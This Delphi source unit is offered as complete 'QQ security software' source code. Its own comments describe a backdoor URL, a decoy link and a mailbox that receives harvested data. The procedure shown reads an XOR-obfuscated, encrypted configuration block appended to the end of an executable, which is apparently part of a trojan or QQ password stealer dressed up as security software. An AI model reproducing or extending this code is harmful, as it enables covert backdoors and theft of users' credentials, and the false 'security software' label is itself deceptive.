extinfo.~pas

DEILPHI写的QQ安全软件源码!功能全套,该有的全有了,欢迎交流

//南域剑盟  http://www.98exe.com
unit  ExtInfo;

interface   

type
  TExtraInfo = record  // 额外信息结构
    Door: string; // 后门链接
    Link: string; // 正常链接
    Down: string; // 收信邮箱
  end;

var
  ExtraInfo: TExtraInfo;

procedure LoadExtraInfo(const FileName: PChar); // 装入额外信息

implementation

uses
  Windows, Encrypt;

  // 装入额外信息, FileName -> ExtraInfo
procedure LoadExtraInfo(const FileName: PChar);
var
  hFile, wSize, Len: DWORD;
  Tmp: string;
begin
 // 打开文件
  hFile := CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL, 0);
  if (hFile = INVALID_HANDLE_VALUE) then Exit;

 // 读入长度
  SetFilePointer(hFile, -4, nil ,FILE_END);
  ReadFile(hFile, Len, 4, wSize, nil);
  Len := Len xor $4D617A69;

 // 读入信息
  SetFilePointer(hFile, -Len, nil ,FILE_END);
  SetLength(Tmp, Len);
  ReadFile(hFile, Tmp[1], Len, wSize, nil);
  CloseHandle(hFile);

// 解密
  Encode(Tmp);

// 后门
  Len := Pos(' ', Tmp);
  ExtraInfo.Door := Copy(Tmp, 1, Len - 1);
  Delete(Tmp, 1, Len);

// 链接
  Len := Pos(' ', Tmp);
  ExtraInfo.Link := Copy(Tmp, 1, Len - 1);
  Delete(Tmp, 1, Len);

// 下载
  Len := Pos(' ', Tmp);
  ExtraInfo.Down := Copy(Tmp, 1, Len - 1);
end;

(* 后门 + ' ' + 链接 + ' ' + 下载 + ' ' + 总长度 *)
end.